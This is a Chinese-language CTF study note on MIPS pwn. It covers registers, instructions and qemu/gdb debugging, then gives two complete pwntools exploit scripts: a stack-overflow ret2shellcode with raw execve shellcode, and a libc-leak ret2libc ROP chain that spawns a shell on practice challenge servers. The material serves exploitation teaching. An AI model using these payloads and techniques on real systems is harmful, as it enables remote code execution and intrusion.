异构框架之mips框架的pwn学习笔记基础知识
mips、mipsel的区别
mips是大端(big-endian)架构,而mipsel是小端(little-endian)架构。指令的用法是差不多的。
Pwn中需要重点了解的Mips指令
寄存器
MIPS32寄存器分为两类:通用寄存器(GPR)和特殊寄存器。通用寄存器:MIPS体系结构中有32个通用寄存器,汇编程序中用$0~$31表示。也可以用名称表示,如$sp、$t1、$ra等。
编号 | 寄存器名称 | 描述 |
---|---|---|
$0 | $zero | 第0号寄存器,其值始终为0。 |
$1 | $at | 保留寄存器 |
$2-$3 | $v0-$v1 | values,保存表达式或函数返回结果 |
$4-$7 | $a0-$a3 | argument,作为函数的前四个参数 |
$8-$15 | $t0-$t7 | temporaries,供汇编程序使用的临时寄存器 |
$16-$23 | $s0-$s7 | saved values,子函数使用时需先保存原寄存器的值 |
$24-$25 | $t8-$t9 | temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7。 |
$26-$27 | $k0-$k1 | 保留,中断处理函数使用 |
$28 | $gp | global pointer,全局指针 |
$29 | $sp | stack pointer,堆栈指针,指向堆栈的栈顶 |
$30 | $fp | frame pointer,保存栈指针 |
$31 | $ra | return address,返回地址 |
传参方式
用$a0~$a3传递函数的前4个参数,记忆方法,寄存器名字a实际为argument的缩写。多余的参数用栈传递,可以写一个简单的c程序编译后,反汇编观察,悟出规律。
函数返回值
一般用$v0~$v1寄存器传递。v也就是value的缩写。
跳转指令
j指令跳转到某个标签处,单纯的jmp
jr指令用于跳转到寄存器里的地址值指向的地方。
jal 跳转时,会将返回地址存入$ra寄存器。
jalr 与jal指令类似,只不过后面的对象为寄存器,并执行下一条语句(一般为nop)。
$ra寄存器,ra为,return address的缩写,一般用于存储返回地址,一个函数结尾往往会从栈里弹出一个值赋值给$ra寄存器,然后jr $ra。
内存读取指令
sw register,addr指令,sw即store word的缩写(对应的有store byte),将register寄存器里的值写入到addr地址处。
lw register,addr指令,lw即load word的缩写(对应的有load byte),读取addr处的数据,放入register寄存器。
寻址
la指令,相当于x86的lea
lai指令,i的意思是immediate立即数,即后面的对象为立即数。
la $a0,1($s0)指令,带有偏移的寻址,它的作用是$a0 = 1 + $s0
环境搭建
环境包括qemu、pwndbg以及gdb-multidbg
qemu
sudo apt-get install qemu
apt-get install qemu binfmt-support qemu-user-static
pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
gdb-multiarch
sudo apt-get install gdb-multiarch
gdb-multiarch+qemu动态调试
环境安装完后,就可以开始简单的调试
qemu-mipsel -g 1234 -L /Your_Path_to_lib/ hello
-g 1234
的意思表示为监听端口1234,用于远程调试,-L
path 选项,可以用来变更动态库查找路径
例题:ycb_2020_mipspwn
首先看看保护机制
qemu-mipsel运行,提示缺少库,可以去Mipsel的uclibc库里直接下
https://github.com/MonkeyJacky/mipsel-linux-uclibc
然后,我们使用-L加载库,就可以运行了
qemu-mipsel -g 1234 -L ~/Desktop/mip/mipsel-linux-uclibc pwn2
用ida逆向分析发现是一个栈溢出
没开保护可以用ret2shellcode
这里可以利用栈溢出控制寄存器$ra和$fp,利用$ra劫持程序执行流,再利用$fp迁移栈
将程序劫持到0x400f50写入shellcode到$fp+0x50-0x38内存块上,再跳过$ra跳转到shellcode上
调试程序
gdb-multiarch ./pwn2
pwndbg> target remote 127.0.0.1:1234
exp
#coding=utf-8
from pwn import *
context(log_level='debug',arch='i386')
binary='./pwn2'
context.terminal = ['terminator','-x','sh','-c']
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
io=process(argv=['qemu-mipsel','-g','1234','-L','/home/N0vice/Desktop/mip/mipsel-linux-uclibc','pwn2'])
else:
io=remote('node4.buuoj.cn',26035)
e=ELF(binary)
ru("Warrior,leave your name here:")
s('darry')
ru("Your choice: ")
sl('7')
ru("Write down your feeling:")
shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
pay=b'a'*0x38+p32(e.bss()+0x100+0x18)+p32(0x00400F50)
s(pay.ljust(0xb0))
#pause()
#shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
s(b'a'*0x3c+p32(e.bss()+0x100+0x70)+"xffxffx10x04xabx0fx02x24x55xf0x46x20x66x06xffx23xc2xf9xecx23x66x06xbdx23x9axf9xacxafx9exf9xa6xafx9axf9xbdx23x21x20x80x01x21x28xa0x03xccxcdx44x03/bin/sh")
shell()
2021强网拟态eserver
题目分析
输入Administrator后可以进入sub_EA8()函数
可以leak一字节地址,因为是32位的而且后12位是不变的,第一字节一般都是0x7f,所以我们leak第二字节,爆破一位也就是116的概率就可以算出libc_base
思路
leak一字节地址算出libc_base,利用ret2libc来打,用mipsrop插件来找gadget,先通过栈控制$ra和$a0寄存器可以利用(mipsrop.find("lw $a0,.")、mipsrop.find("move $a0,$fp")来控制),因为有一个全局偏移量$gp寄存器(需要通过$t9来计算),在跳转到system的时候需要将$t9寄存器改为system函数地址
不然后面函数跳转通过$gp查找其他函数的时候就会出问题(各种奇奇怪怪的错),所以还需要控制$t9寄存器(mipsrop.find("lw $t9,.")、mipsrop.find("move \$t9,.")都行)这里找到了一个比较好的gadget
直接控制$fp就可以顺带搞定$t9寄存器。
总的思路就是通过栈溢出控制$ra(返回地址)和$a0(字符串/bin/sh地址)和$fp,再通过$fp进而控制$t9
exp
#!/usr/bin/env python
#coding=utf-8
from pwn import*
context.log_level = "debug"
context.arch = "mips"
#context.endian = "small"
context.os = "linux"
main_arena = 0x1ebb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=io=process(argv=['qemu-mipsel','-L','~/Desktop/mip/mipsel-linux-uclibc','./eserver'])
#io=io=process(argv=['qemu-mipsel','-g','1234','-L','~/Desktop/mip/mipsel-linux-uclibc','./eserver'])
else:
io=remote('node4.buuoj.cn',26469)
libc=ELF('./libc.so.6')
ru('Input package: ')
sl('Administrator')
ru('Input package: ')
sl('2')
ru('Response package: ')
l4 = 0x7f
l3 = u8(r(1))
l2 = ((libc.sym['read']&0xff00)>>8)-0x70
l1 = 0xa4
libc_base = (l1 ^ (l2<<8) ^ (l3<<16) ^ (l4<<24))-libc.sym['read']
su('libc_base',libc_base)
'''
.text:0011ACD8
.text:0011ACD8 var_38 = -0x38
.text:0011ACD8 var_30 = -0x30
.text:0011ACD8 var_28 = -0x28
.text:0011ACD8 var_24 = -0x24
.text:0011ACD8 var_20 = -0x20
.text:0011ACD8 var_1C = -0x1C
.text:0011ACD8 var_18 = -0x18
.text:0011ACD8 var_14 = -0x14
.text:0011ACD8 var_10 = -0x10
.text:0011ACD8 var_C = -0xC
.text:0011ACD8 var_8 = -8
.text:0011ACD8 var_4 = -4
.text:0011ACD8 var_s0 = 0
.text:0011ACD8 var_s4 = 4
.text:0011ACD8 var_s8 = 8
.text:0011ACD8 var_sC = 0xC
.text:0011ACD8 var_s10 = 0x10
.text:0011ACD8 var_s14 = 0x14
.text:0011ACD8 var_s18 = 0x18
.text:0011ACD8 var_s1C = 0x1C
.text:0011ACD8 var_s20 = 0x20
.text:0011ACD8 var_s24 = 0x24
.text:0011B170 move $a0, $fp
.text:0011B174
.text:0011B174 loc_11B174: # CODE XREF: sub_11ACD8:loc_11AD88↑j
.text:0011B174 # sub_11ACD8+B8↑j ...
.text:0011B174 lw $ra, 0x48+var_s24($sp)
.text:0011B178 lw $v0, 0x48+var_30($sp)
.text:0011B17C lw $fp, 0x48+var_s20($sp)
.text:0011B180 lw $s7, 0x48+var_s1C($sp)
.text:0011B184 lw $s6, 0x48+var_s18($sp)
.text:0011B188 lw $s5, 0x48+var_s14($sp)
.text:0011B18C lw $s4, 0x48+var_s10($sp)
.text:0011B190 lw $s3, 0x48+var_sC($sp)
.text:0011B194 lw $s2, 0x48+var_s8($sp)
.text:0011B198 lw $s1, 0x48+var_s4($sp)
.text:0011B19C lw $s0, 0x48+var_s0($sp)
.text:0011B1A0 jr $ra
.text:0011B1A4 addiu $sp, 0x70
.text:00134E80 move $t9, $fp
.text:00134E84 jalr $t9
.text:00134E88 move $at, $at
'''
pay = b'a'*0x1f8+p32(libc.search('/bin/sh').next()+libc_base)+p32(0x0011B170+libc_base)+b'a'*0x68+p32(libc_base+libc.sym['system'])+p32(0x00134E80+libc_base)#
ru('Input package: ')
sl(pay)
ru('Input package: ')
sl('EXIT')
shell()
后门函数调用
execve(path='//bin/sh', argv=['sh'], envp={})
对应寄存器布置
v0=0xfab
a0=addr <-'/bin/sh'
a1=addr -> addr <-'/bin/sh'
a2=0
参考博客
https://blog.csdn.net/seaaseesa/article/details/105281585
https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow
原文始发于微信公众号(火炬木攻防实验室):异构框架之mips框架的pwn学习笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论